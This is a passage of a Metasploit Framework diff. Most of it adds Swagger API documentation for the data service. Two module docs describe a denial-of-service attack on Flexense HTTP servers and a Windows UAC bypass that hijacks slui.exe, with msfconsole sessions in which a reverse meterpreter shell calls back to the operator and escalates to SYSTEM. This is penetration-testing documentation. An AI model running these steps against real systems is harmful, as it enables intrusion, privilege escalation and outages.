:description, 'Return hosts matching the given IP address.' + key :required, false + key :type, :string + end + end +end \ No newline at end of file diff --git a/documentation/api/v1/service_api_doc.rb b/documentation/api/v1/service_api_doc.rb new file mode 100644 index 0000000000..298181b559 --- /dev/null +++ b/documentation/api/v1/service_api_doc.rb @@ -0,0 +1,158 @@ +require 'swagger/blocks' + +module ServiceApiDoc + include Swagger::Blocks + + HOST_DESC = 'The host where this service is running.' + HOST_ID_DESC = 'The ID of the host record this service is associated with.' + PORT_DESC = 'The port this service is listening on.' + PORT_EXAMPLE = '443' + PROTO_DESC = 'The transport layer protocol this service is using.' + PROTO_ENUM = ['tcp', 'udp'] + NAME_DESC = 'The application layer protocol.' + NAME_EXAMPLE = "'ssh', 'mssql', 'smb', etc." + STATE_DESC = 'The current listening state of the service.' + STATE_ENUM = ['open', 'closed', 'filtered', 'unknown'] + INFO_DESC = 'Detailed information about the service such as name and version information.' + INFO_EXAMPLE = "'ProFTPD 1.3.5', 'WEBrick httpd 1.3.1 Ruby 2.3.4', etc." + +# Swagger documentation for Service model + swagger_schema :Service do + key :required, [:id, :port, :proto] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC + property :port, type: :string, description: PORT_DESC, example: PORT_EXAMPLE + property :proto, type: :string, description: PROTO_DESC, enum: PROTO_ENUM + property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE + property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE + property :state, type: :string, description: STATE_DESC, enum: STATE_ENUM + property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC + property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC + end + + swagger_path '/api/v1/services' do + # Swagger documentation for /api/v1/services GET + operation :get do + key :description, 'Return services that are stored in the database.' + key :tags, [ 'service' ] + + parameter :workspace + + response 200 do + key :description, 'Returns service data.' + schema do + key :type, :array + items do + key :'$ref', :Service + end + end + end + end + + # Swagger documentation for /api/v1/services POST + operation :post do + key :description, 'Create a Service.' + key :tags, [ 'service' ] + + parameter do + key :in, :body + key :name, :body + key :description, 'The attributes to assign to the service.' + key :required, true + schema do + property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE + property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE + property :port, type: :string, required: true, description: PORT_DESC, example: PORT_EXAMPLE + property :proto, type: :string, required: true, description: PROTO_DESC, enum: PROTO_ENUM + property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE + property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE + property :state, type: :string, description: STATE_DESC, enum: STATE_ENUM + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Service + end + end + end + + # Swagger documentation for /api/v1/services/ DELETE + operation :delete do + key :description, 'Delete the specified services.' + key :tags, [ 'service' ] + + parameter :delete_opts + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :array + items do + key :'$ref', :Service + end + end + end + end + end + + swagger_path '/api/v1/services/{id}' do + # Swagger documentation for api/v1/services/:id GET + + # TODO: Add this back in when this endpoint is implemented, tracked in MS-3233. + # + # operation :get do + # key :description, 'Return specific service that is stored in the database.' + # key :tags, [ 'service' ] + # + # parameter :workspace + # + # parameter do + # key :name, :id + # key :in, :path + # key :description, 'ID of service to retrieve.' + # key :required, true + # key :type, :integer + # key :format, :int32 + # end + # + # response 200 do + # key :description, 'Returns service data.' + # schema do + # key :type, :array + # items do + # key :'$ref', :Service + # end + # end + # end + # end + + # Swagger documentation for /api/v1/services/:id PUT + operation :put do + key :description, 'Update the attributes an existing service.' + key :tags, [ 'service' ] + + parameter :update_id + + parameter do + key :in, :body + key :name, :body + key :description, 'The updated attributes to overwrite to the service.' + key :required, true + schema do + key :'$ref', :Service + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Service + end + end + end + end +end \ No newline at end of file diff --git a/documentation/api/v1/session_api_doc.rb b/documentation/api/v1/session_api_doc.rb new file mode 100644 index 0000000000..20f3a88b19 --- /dev/null +++ b/documentation/api/v1/session_api_doc.rb @@ -0,0 +1,71 @@ +require 'swagger/blocks' + +module SessionApiDoc + include Swagger::Blocks + +# Swagger documentation for sessions model + swagger_schema :Session do + key :required, [:id] + property :id, type: :integer, format: :int32 + property :stype, type: :string + property :via_exploit, type: :string + property :via_payload, type: :string + property :desc, type: :string + property :port, type: :integer, format: :int32 + property :platform, type: :string + property :opened_at, type: :string, format: :date_time + property :closed_at, type: :string, format: :date_time + property :closed_reason, type: :string + property :local_id, type: :integer, format: :int32 + property :last_seen, type: :string, format: :date_time + property :module_run_id, type: :integer, format: :int32 + end + + swagger_path '/api/v1/sessions' do + # Swagger documentation for /api/v1/sessions GET + operation :get do + key :description, 'Return sessions that are stored in the database.' + key :tags, [ 'session' ] + + parameter :workspace + + response 200 do + key :description, 'Returns session data.' + schema do + key :type, :array + items do + key :'$ref', :Session + end + end + end + end + + # Swagger documentation for /api/v1/sessions POST + + # API based creation of session objects is not yet supported from a user-facing perspective. + # Once this is implemented in a sensible way we will need to uncomment and update the below doc code. + + # operation :post do + # key :description, 'Create a session entry.' + # key :tags, [ 'session' ] + # + # parameter do + # key :in, :body + # key :name, :body + # key :description, 'The attributes to assign to the session.' + # key :required, true + # schema do + # key :'$ref', :Session + # end + # end + # + # response 200 do + # key :description, 'Successful operation.' + # schema do + # key :type, :object + # key :'$ref', :Session + # end + # end + # end + end +end diff --git a/documentation/api/v1/session_event_api_doc.rb b/documentation/api/v1/session_event_api_doc.rb new file mode 100644 index 0000000000..8f740c1605 --- /dev/null +++ b/documentation/api/v1/session_event_api_doc.rb @@ -0,0 +1,75 @@ +require 'swagger/blocks' + +module SessionEventApiDoc + include Swagger::Blocks + + SESSION_ID_DESC = 'The ID of the session record that caused this event.' + ETYPE_DESC = 'The type of session event that occurred.' + ETYPE_ENUM = ['command', 'output', 'upload', 'download', 'filedelete'] + COMMAND_DESC = 'The command that was executed for this event.' + OUTPUT_DESC = 'The resulting output of the executed command.' + LOCAL_PATH_DESC = 'Path to the associated file for upload and download events.' + LOCAL_PATH_EXAMPLE = '/path/to/file' + REMOTE_PATH_DESC = 'Path to the associated file for upload, download, and filedelete events.' + REMOTE_PATH_EXAMPLE = '/path/to/file' + +# Swagger documentation for session events model + swagger_schema :SessionEvent do + key :required, [:etype, :session_id] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC + property :etype, type: :string, description: ETYPE_DESC, enum: ETYPE_ENUM + property :command, type: :string, description: COMMAND_DESC + property :output, type: :string, description: OUTPUT_DESC + property :local_path, type: :string, description: LOCAL_PATH_DESC, example: LOCAL_PATH_EXAMPLE + property :remote_path, type: :string, description: REMOTE_PATH_DESC, example: REMOTE_PATH_EXAMPLE + property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC + end + + swagger_path '/api/v1/session-events' do + # Swagger documentation for /api/v1/session-events GET + operation :get do + key :description, 'Return session events that are stored in the database.' + key :tags, [ 'session_event' ] + + response 200 do + key :description, 'Returns session event data.' + schema do + key :type, :array + items do + key :'$ref', :SessionEvent + end + end + end + end + + # Swagger documentation for /api/v1/session events POST + operation :post do + key :description, 'Create a session events entry.' + key :tags, [ 'session_event' ] + + parameter do + key :in, :body + key :name, :body + key :description, 'The attributes to assign to the session event.' + key :required, true + schema do + property :etype, type: :string, required: true, description: ETYPE_DESC, enum: ETYPE_ENUM + property :session, '$ref' => :Session, required: true + property :command, type: :string, description: COMMAND_DESC + property :output, type: :string, description: OUTPUT_DESC + property :local_path, type: :string, description: LOCAL_PATH_DESC, example: LOCAL_PATH_EXAMPLE + property :remote_path, type: :string, description: REMOTE_PATH_DESC, example: REMOTE_PATH_EXAMPLE + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :SessionEvent + end + end + end + end +end diff --git a/documentation/api/v1/vuln_api_doc.rb b/documentation/api/v1/vuln_api_doc.rb new file mode 100644 index 0000000000..35bbda65f9 --- /dev/null +++ b/documentation/api/v1/vuln_api_doc.rb @@ -0,0 +1,208 @@ +require 'swagger/blocks' + +module VulnApiDoc + include Swagger::Blocks + + HOST_ID_DESC = 'The ID of host record associated with this vuln.' + HOST_DESC = 'The host where this vuln was discovered.' + NAME_DESC = 'The friendly name/title for this vulnerability.' + NAME_EXAMPLE = 'Docker Daemon Privilege Escalation' + INFO_DESC = 'Information about how this vuln was discovered.' + INFO_EXAMPLE = 'Exploited by exploit/linux/local/docker_daemon_privilege_escalation to create session.' + EXPLOITED_AT_DESC = 'The date and time this vuln was successfully exploited.' + VULN_DETAIL_COUNT = 'Cached count of the number of associated vuln detail objects.' + VULN_ATTEMPT_COUNT = 'Cached count of the number of associated vuln attempt object.' + ORIGIN_ID_DESC = 'ID of the associated origin record.' + ORIGIN_TYPE_DESC = 'The origin type of this vuln.' + REFS_DESC = 'An array of public reference IDs for this vuln.' + REF_ID_DESC = 'The ID of the related Mdm::ModuleRef or Mdm::VulnRef associated with this vuln.' + REF_NAME_DESC = 'Designation for external reference. May include a prefix for the authority, such as \'CVE-\', in which case the rest of the name is the designation assigned by that authority.' + REFS_EXAMPLE = ['CVE-2008-4250','OSVDB-49243','MSB-MS08-067'] + MODULE_REF_DETAIL_ID_DESC = 'The ID of the Mdm::Module::Detail record this ModuleRef is associated with.' + +# Swagger documentation for vulns model + swagger_schema :Vuln do + key :required, [:host_id, :name] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :host_id, type: :integer, format: :int32, description: HOST_ID_DESC + property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE + property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE + property :exploited_at, type: :string, format: :date_time, description: EXPLOITED_AT_DESC + property :vuln_detail_count, type: :integer, format: :int32, description: VULN_DETAIL_COUNT + property :vuln_attempt_count, type: :integer, format: :int32, description: VULN_ATTEMPT_COUNT + property :origin_id, type: :integer, format: :int32, description: ORIGIN_ID_DESC + property :origin_type, type: :string, description: ORIGIN_TYPE_DESC + property :vuln_refs do + key :type, :array + items do + key :'$ref', :VulnRef + end + end + property :refs do + key :type, :array + items do + key :'$ref', :Ref + end + end + property :module_refs do + key :type, :array + items do + key :'$ref', :ModuleRef + end + end + property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC + property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC + end + + swagger_schema :Ref do + key :required, [:name] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :ref_id, type: :integer, format: :int32, description: REF_ID_DESC + property :name, type: :string, required: true, description: REF_NAME_DESC + property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC + property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC + end + + swagger_schema :ModuleRef do + key :required, [:name] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :detail_id, type: :integer, format: :int32, description: MODULE_REF_DETAIL_ID_DESC + property :name, type: :string, required: true, description: REF_NAME_DESC + end + + swagger_schema :VulnRef do + key :required, [:ref_id, :vuln_id] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :ref_id, type: :integer, format: :int32, description: RootApiDoc::CREATED_AT_DESC + property :vuln_id, type: :integer, format: :int32, description: RootApiDoc::UPDATED_AT_DESC + end + + + swagger_path '/api/v1/vulns' do + # Swagger documentation for /api/v1/vulns GET + operation :get do + key :description, 'Return vulns that are stored in the database.' + key :tags, [ 'vuln' ] + + parameter :workspace + + response 200 do + key :description, 'Returns vuln data.' + schema do + key :type, :array + items do + key :'$ref', :Vuln + end + end + end + end + + # Swagger documentation for /api/v1/vulns POST + operation :post do + key :description, 'Create a vuln entry.' + key :tags, [ 'vuln' ] + + parameter do + key :in, :body + key :name, :body + key :description, 'The attributes to assign to the vuln.' + key :required, true + schema do + property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE + property :host, type: :string, format: :ipv4, required: true, description: HOST_DESC, example: RootApiDoc::HOST_EXAMPLE + property :name, type: :string, description: NAME_DESC, example: NAME_EXAMPLE + property :info, type: :string, description: INFO_DESC, example: INFO_EXAMPLE + property :refs do + key :type, :array + key :description, REFS_DESC + key :example, REFS_EXAMPLE + items do + key :type, :string + end + end + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Vuln + end + end + end + + # Swagger documentation for /api/v1/vulns/ DELETE + operation :delete do + key :description, 'Delete the specified vulns.' + key :tags, [ 'vuln' ] + + parameter :delete_opts + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :array + items do + key :'$ref', :Vuln + end + end + end + end + end + + swagger_path '/api/v1/vulns/{id}' do + # Swagger documentation for api/v1/vulns/:id GET + operation :get do + key :description, 'Return specific vuln that is stored in the database.' + key :tags, [ 'vuln' ] + + parameter :workspace + + parameter do + key :name, :id + key :in, :path + key :description, 'ID of vuln to retrieve.' + key :required, true + key :type, :integer + key :format, :int32 + end + + response 200 do + key :description, 'Returns vuln data.' + schema do + key :type, :array + items do + key :'$ref', :Vuln + end + end + end + end + + # Swagger documentation for /api/v1/vulns/:id PUT + operation :put do + key :description, 'Update the attributes an existing vuln.' + key :tags, [ 'vuln' ] + + parameter :update_id + + parameter do + key :in, :body + key :name, :body + key :description, 'The updated attributes to overwrite to the vuln.' + key :required, true + schema do + key :'$ref', :Vuln + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Vuln + end + end + end + end +end \ No newline at end of file diff --git a/documentation/api/v1/vuln_attempt_api_doc.rb b/documentation/api/v1/vuln_attempt_api_doc.rb new file mode 100644 index 0000000000..f9a9bed8ad --- /dev/null +++ b/documentation/api/v1/vuln_attempt_api_doc.rb @@ -0,0 +1,83 @@ +require 'swagger/blocks' + +module VulnAttemptApiDoc + include Swagger::Blocks + + VULN_ID_DESC = 'The ID of the vuln record associated with this vuln attempt was exploiting.' + SESSION_ID_DESC = 'The ID of the session record associated with this vuln attempt if it was successful.' + LOOT_ID_DESC = 'The ID of the loot record associated with this vuln attempt if loot was gathered.' + ATTEMPTED_AT_DESC = 'The time that this vuln attempt occurred.' + EXPLOITED_DESC = 'true if the vuln attempt was successful.' + FAIL_REASON_DESC = 'Short reason why this attempt failed.' + FAIL_DETAIL_DESC = 'Long details about why this attempt failed.' + MODULE_DESC = 'Full name of the Metasploit module that was used in this attempt.' + MODULE_EXAMPLE = 'linux/local/docker_daemon_privilege_escalation' + USERNAME_DESC = 'The username of the user who made this vuln attempt.' + + +# Swagger documentation for vuln_attempts model + swagger_schema :VulnAttempt do + key :required, [:vuln_id] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC + property :session_id, type: :integer, format: :int32, description: SESSION_ID_DESC + property :loot_id, type: :integer, format: :int32, description: LOOT_ID_DESC + property :attempted_at, type: :string, format: :date_time, description: ATTEMPTED_AT_DESC + property :exploited, type: :boolean, description: EXPLOITED_DESC + property :fail_reason, type: :string, description: FAIL_REASON_DESC + property :fail_detail, type: :string, description: FAIL_DETAIL_DESC + property :module, type: :string, description: MODULE_DESC, example: MODULE_EXAMPLE + property :username, type: :string, description: USERNAME_DESC + end + + swagger_path '/api/v1/vuln-attempts' do + # Swagger documentation for /api/v1/vuln-attempts GET + operation :get do + key :description, 'Return vuln attempts that are stored in the database.' + key :tags, [ 'vuln_attempt' ] + + parameter :workspace + + response 200 do + key :description, 'Returns vuln attempt data.' + schema do + key :type, :array + items do + key :'$ref', :VulnAttempt + end + end + end + end + + # Swagger documentation for /api/v1/vuln-attempts POST + operation :post do + key :description, 'Create a vuln attempt entry.' + key :tags, [ 'vuln_attempt' ] + + parameter do + key :in, :body + key :name, :body + key :description, 'The attributes to assign to the vuln attempt.' + key :required, true + schema do + property :workspace, type: :string, required: true, description: RootApiDoc::WORKSPACE_POST_DESC, example: RootApiDoc::WORKSPACE_POST_EXAMPLE + property :vuln_id, type: :integer, format: :int32, description: VULN_ID_DESC + property :attempted_at, type: :string, format: :date_time, description: ATTEMPTED_AT_DESC + property :exploited, type: :boolean, description: EXPLOITED_DESC + property :fail_reason, type: :string, description: FAIL_REASON_DESC + property :fail_detail, type: :string, description: FAIL_DETAIL_DESC + property :module, type: :string, description: MODULE_DESC, example: MODULE_EXAMPLE + property :username, type: :string, description: USERNAME_DESC + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :VulnAttempt + end + end + end + end +end \ No newline at end of file diff --git a/documentation/api/v1/workspace_api_doc.rb b/documentation/api/v1/workspace_api_doc.rb new file mode 100644 index 0000000000..9b046aa43f --- /dev/null +++ b/documentation/api/v1/workspace_api_doc.rb @@ -0,0 +1,140 @@ +require 'swagger/blocks' + +module WorkspaceApiDoc + include Swagger::Blocks + + NAME_DESC = 'The name of the workspace. This is the unique identifier for determining which workspace is being accessed.' + BOUNDARY_DESC = 'Comma separated list of IP ranges (in various formats) and IP addresses that users of this workspace are allowed to interact with if limit_to_network is true.' + BOUNDARY_EXAMPLE = '10.10.1.1-50,10.10.1.100,10.10.2.0/24' + DESCRIPTION_DESC = 'Long description that explains the purpose of this workspace.' + OWNER_ID_DESC = 'ID of the user who owns this workspace.' + LIMIT_TO_NETWORK_DESC = 'true to restrict the hosts and services in this workspace to the IP addresses listed in \'boundary\'.' + IMPORT_FINGERPRINT_DESC = 'Identifier that indicates if and where this workspace was imported from.' + +# Swagger documentation for workspaces model + swagger_schema :Workspace do + key :required, [:name] + property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC + property :name, type: :string, description: NAME_DESC + property :boundary, type: :string, description: BOUNDARY_DESC, example: BOUNDARY_EXAMPLE + property :description, type: :string, description: DESCRIPTION_DESC + property :owner_id, type: :integer, format: :int32, description: OWNER_ID_DESC + property :limit_to_network, type: :boolean, description: LIMIT_TO_NETWORK_DESC + property :import_fingerprint, type: :boolean, description: IMPORT_FINGERPRINT_DESC + property :created_at, type: :string, format: :date_time, description: RootApiDoc::CREATED_AT_DESC + property :updated_at, type: :string, format: :date_time, description: RootApiDoc::UPDATED_AT_DESC + end + + swagger_path '/api/v1/workspaces' do + # Swagger documentation for /api/v1/workspaces GET + operation :get do + key :description, 'Return workspaces that are stored in the database.' + key :tags, [ 'workspace' ] + + response 200 do + key :description, 'Returns workspace data.' + schema do + key :type, :array + items do + key :'$ref', :Workspace + end + end + end + end + + # Swagger documentation for /api/v1/workspaces POST + operation :post do + key :description, 'Create a workspace entry.' + key :tags, [ 'workspace' ] + + parameter do + key :in, :body + key :name, :body + key :description, 'The attributes to assign to the workspace.' + key :required, true + schema do + property :name, type: :string, description: NAME_DESC + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Workspace + end + end + end + + # Swagger documentation for /api/v1/workspaces/ DELETE + operation :delete do + key :description, 'Delete the specified workspaces.' + key :tags, [ 'workspace' ] + + parameter :delete_opts + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :array + items do + key :'$ref', :Workspace + end + end + end + end + end + + swagger_path '/api/v1/workspaces/{id}' do + # Swagger documentation for api/v1/workspaces/:id GET + operation :get do + key :description, 'Return specific workspace that is stored in the database.' + key :tags, [ 'workspace' ] + + parameter do + key :name, :id + key :in, :path + key :description, 'ID of workspace to retrieve.' + key :required, true + key :type, :integer + key :format, :int32 + end + + response 200 do + key :description, 'Returns workspace data.' + schema do + key :type, :array + items do + key :'$ref', :Workspace + end + end + end + end + + # Swagger documentation for /api/v1/workspaces/:id PUT + operation :put do + key :description, 'Update the attributes an existing workspaces.' + key :tags, [ 'workspace' ] + + parameter :update_id + + parameter do + key :in, :body + key :name, :body + key :description, 'The updated attributes to overwrite to the workspace.' + key :required, true + schema do + key :'$ref', :Workspace + end + end + + response 200 do + key :description, 'Successful operation.' + schema do + key :type, :object + key :'$ref', :Workspace + end + end + end + end +end \ No newline at end of file diff --git a/documentation/modules/auxiliary/dos/http/flexense_http_server_dos.md b/documentation/modules/auxiliary/dos/http/flexense_http_server_dos.md new file mode 100644 index 0000000000..d930453a26 --- /dev/null +++ b/documentation/modules/auxiliary/dos/http/flexense_http_server_dos.md @@ -0,0 +1,67 @@ +## Description +This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger +a write access memory vialation via rapidly sending HTTP requests with large HTTP header values. + + +## Vulnerable Application +According To publicly exploit Disclosure of Flexense HTTP Server v10.6.24 +Following list of softwares are vulnerable to Denial Of Service. +read more : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8065 + + +DiskBoss Enterprise <= v9.0.18 +Sync Breeze Enterprise <= v10.6.24 +Disk Pulse Enterprise <= v10.6.24 +Disk Savvy Enterprise <= v10.6.24 +Dup Scout Enterprise <= v10.6.24 +VX Search Enterprise <= v10.6.24 + + +**Vulnerable Application Link** +http://www.diskboss.com/downloads.html +http://www.syncbreeze.com/downloads.html +http://www.diskpulse.com/downloads.html +http://www.disksavvy.com/downloads.html +http://www.dupscout.com/downloads.html + + +## Vulnerable Application Installation Setup. +All Flexense applications that are listed above can be installed by following these steps. + +Download Application : ```https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS/raw/master/syncbreezeent_setup_v10.6.24.exe``` + +**And Follow Sync Breeze Enterprise v10.6.24 Setup Wizard** + +After the installation navigate to: ```Options->Server``` + +Check the box saying: ```Enable web server on port:...``` + +## Verification Steps + + 1. Install the application + 2. Start msfconsole + 3. Do: `use auxiliary/dos/http/flexense_http_server_dos` + 4. Do: `set rport ` + 5. Do: `set rhost ` + 6. Do: `check` +``` +[+] 192.168.1.20:80 The target is vulnerable. +``` + 7. Do: `run` + 8. Web server will crash after 200-1000 request depending on the OS version and system memory. + +## Scenarios +**TESTED AGAINST WINDOWS 7/10** +``` +msf5 > use auxiliary/dos/http/flexense_http_server_dos +msf5 auxiliary(dos/http/flexense_http_server_dos) > set rhost 192.168.1.27 +rhost => 192.168.1.27 +msf5 auxiliary(dos/http/flexense_http_server_dos) > set rport 80 +rport => 80 +msf5 auxiliary(dos/http/flexense_http_server_dos) > run + +[*] 192.168.1.20:80 - Triggering the vulnerability +[+] 192.168.1.20:80 - DoS successful 192.168.1.20 is down ! +[*] Auxiliary module execution completed + +``` diff --git a/documentation/modules/exploit/windows/local/bypassuac_sluihijack.md b/documentation/modules/exploit/windows/local/bypassuac_sluihijack.md new file mode 100644 index 0000000000..26b736f6b8 --- /dev/null +++ b/documentation/modules/exploit/windows/local/bypassuac_sluihijack.md @@ -0,0 +1,140 @@ +## Intro + + This module will bypass UAC on Windows 8-10 by hijacking a special key in the Registry under + the Current User hive, and inserting a custom command that will get invoked when + any binary (.exe) application is launched. But slui.exe is an auto-elevated binary that is + vulnerable to file handler hijacking. When we run slui.exe with changed Registry key + (HKCU:\Software\Classes\exefile\shell\open\command), it will run our custom command as Admin + instead of slui.exe. + + The module modifies the registry in order for this exploit to work. The modification is + reverted once the exploitation attempt has finished. + + The module does not require the architecture of the payload to match the OS. If + specifying EXE::Custom your DLL should call ExitProcess() after starting the + payload in a different process. + +## Usage + + 1. First we need to obtain a session on the target system. + 2. Load module: `use exploit/windows/local/bypassuac_sluihijack` + 3. Set the `payload`: `set payload windows/x64/meterpreter/reverse_tcp` + 4. If an existing handler is configured to receive the elevated session, + then the module's handler should be disabled: `set DisablePayloadHandler true`. + 5. Configure the `payload`. + 6. `Exploit` it. + +## Scenario + +``` +msf exploit(multi/handler) > +[*] https://192.168.0.30:443 handling request from 192.168.0.33; (UUID: d4iywkip) Encoded stage with x86/shikata_ga_nai +[*] https://192.168.0.30:443 handling request from 192.168.0.33; (UUID: d4iywkip) Staging x86 payload (180854 bytes) ... +[*] Meterpreter session 1 opened (192.168.0.30:443 -> 192.168.0.33:49875) at 2018-04-07 18:33:11 +0200 + +msf exploit(multi/handler) > sessions + +Active sessions +=============== + + Id Name Type Information Connection + -- ---- ---- ----------- ---------- + 1 meterpreter x86/windows WIN10-01\user01 @ WIN10-01 192.168.0.30:443 -> 192.168.0.33:49875 (192.168.0.33) + +msf exploit(multi/handler) > sessions 1 +[*] Starting interaction with 1... + +meterpreter > sysinfo +Computer : WIN10-01 +OS : Windows 10 (Build 16299). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > getuid +Server username: WIN10-01\user01 +meterpreter > getprivs + +Enabled Process Privileges +========================== + +Name +---- +SeChangeNotifyPrivilege +SeIncreaseWorkingSetPrivilege +SeShutdownPrivilege +SeTimeZonePrivilege +SeUndockPrivilege + +meterpreter > background +[*] Backgrounding session 1... +msf exploit(multi/handler) > use exploit/windows/local/bypassuac_sluihijack +msf exploit(windows/local/bypassuac_sluihijack) > show targets + +Exploit targets: + + Id Name + -- ---- + 0 Windows x86 + 1 Windows x64 + + +msf exploit(windows/local/bypassuac_sluihijack) > set target 1 +target => 1 +msf exploit(windows/local/bypassuac_sluihijack) > set payload windows/x64/meterpreter/reverse_https +payload => windows/x64/meterpreter/reverse_https +msf exploit(windows/local/bypassuac_sluihijack) > set session 1 +session => 1 +msf exploit(windows/local/bypassuac_sluihijack) > set LHOST 192.168.0.30 +LHOST => 192.168.0.30 +msf exploit(windows/local/bypassuac_sluihijack) > exploit + +[*] Started HTTPS reverse handler on https://192.168.0.30:8443 +[*] UAC is Enabled, checking level... +[+] Part of Administrators group! Continuing... +[+] UAC is set to Default +[+] BypassUAC can bypass this setting, continuing... +[*] Configuring payload and stager registry keys ... +[*] Executing payload: C:\Windows\Sysnative\cmd.exe /c powershell Start-Process C:\Windows\System32\slui.exe -Verb runas +[*] https://192.168.0.30:8443 handling request from 192.168.0.33; (UUID: znqja6ua) Staging x64 payload (207449 bytes) ... +[*] Meterpreter session 2 opened (192.168.0.30:8443 -> 192.168.0.33:49881) at 2018-04-07 18:34:39 +0200 +[*] Cleaining up registry keys ... + +meterpreter > getprivs + +Enabled Process Privileges +========================== + +Name +---- +SeBackupPrivilege +SeChangeNotifyPrivilege +SeCreateGlobalPrivilege +SeCreatePagefilePrivilege +SeCreateSymbolicLinkPrivilege +SeDebugPrivilege +SeImpersonatePrivilege +SeIncreaseBasePriorityPrivilege +SeIncreaseQuotaPrivilege +SeIncreaseWorkingSetPrivilege +SeLoadDriverPrivilege +SeManageVolumePrivilege +SeProfileSingleProcessPrivilege +SeRemoteShutdownPrivilege +SeRestorePrivilege +SeSecurityPrivilege +SeShutdownPrivilege +SeSystemEnvironmentPrivilege +SeSystemProfilePrivilege +SeSystemtimePrivilege +SeTakeOwnershipPrivilege +SeTimeZonePrivilege +SeUndockPrivilege + +meterpreter > getsystem +...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). +meterpreter > getuid +Server username: NT AUTHORITY\SYSTEM +meterpreter > +``` diff --git a/lib/msf/core/auxiliary/nmap.rb b/lib/msf/core/auxiliary/nmap.rb index da69eccd6c..81fed54ba1 100644 --- a/lib/msf/core/auxiliary/nmap.rb +++ b/lib/msf/core/auxiliary/nmap.rb @@ -24,7 +24,7 @@ def initialize(info = {}) super register_options([ - OptAddressRange.new('RHOSTS', [ true, "The target address range or CIDR identifier"]), + Opt::RHOSTS, OptBool.new('NMAP_VERBOSE', [ false, 'Display nmap output', true]), OptString.new('RPORTS', [ false, 'Ports to target']), # RPORT supersedes RPORTS ], Auxiliary::Nmap) diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index ba21582eb9..b65570bfc6 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -17,6 +17,7 @@ def initialize(info = {}) super register_options([ + Opt::RHOSTS, OptInt.new('THREADS', [ true, "The number of concurrent threads", 1 ] ) ], Auxiliary::Scanner) diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index 6a285699da..e55cb4a035 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -167,7 +167,7 @@ module Msf::DBManager::Host # +:os_flavor+:: -- something like "Enterprise", "Pro", or "Home" # +:os_sp+:: -- something like "SP2" # +:os_lang+:: -- something like "English", "French", or "en-US" - # +:arch+:: -- one of the ARCH_* constants + # +:arch+:: -- one of the ARCHITECTURES listed in metasploit_data_models/app/models/mdm/host.rb # +:mac+:: -- the host's MAC address # +:scope+:: -- interface identifier for link-local IPv6 # +:virtual_host+:: -- the name of the virtualization software, eg "VMWare", "QEMU", "Xen", "Docker", etc. diff --git a/lib/msf/core/db_manager/http/public/favicon-16x16.png b/lib/msf/core/db_manager/http/public/favicon-16x16.png new file mode 100644 index 0000000000..0f7e13b0d9 Binary files /dev/null and b/lib/msf/core/db_manager/http/public/favicon-16x16.png differ diff --git a/lib/msf/core/db_manager/http/public/favicon-32x32.png b/lib/msf/core/db_manager/http/public/favicon-32x32.png new file mode 100644 index 0000000000..b0a3352ffd Binary files /dev/null and b/lib/msf/core/db_manager/http/public/favicon-32x32.png differ diff --git a/lib/msf/core/db_manager/http/public/index.html b/lib/msf/core/db_manager/http/public/index.html new file mode 100644 index 0000000000..7f63bc2b8a --- /dev/null +++ b/lib/msf/core/db_manager/http/public/index.html @@ -0,0 +1,61 @@ + + + + + + Metasploit API Documentation + + + + + + + + +
